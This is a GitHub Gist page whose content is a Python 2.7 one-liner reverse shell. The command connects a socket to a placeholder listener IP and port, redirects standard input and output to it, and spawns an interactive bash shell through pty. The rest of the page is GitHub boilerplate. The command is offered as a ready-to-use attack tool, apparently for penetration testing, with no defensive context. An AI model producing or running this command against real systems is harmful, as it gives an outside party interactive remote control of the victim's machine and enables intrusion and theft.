Last active
October 17, 2022 12:30
-
-
Save crypt0rr/88ddb38335993acd0a9b2d5368c7472d to your computer and use it in GitHub Desktop.
python2-oneliner-reverse-shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
python2.7 -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<<LISTERNER-IP>>",<<LISTERNER-PORT>>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
This reverse shell is interactive.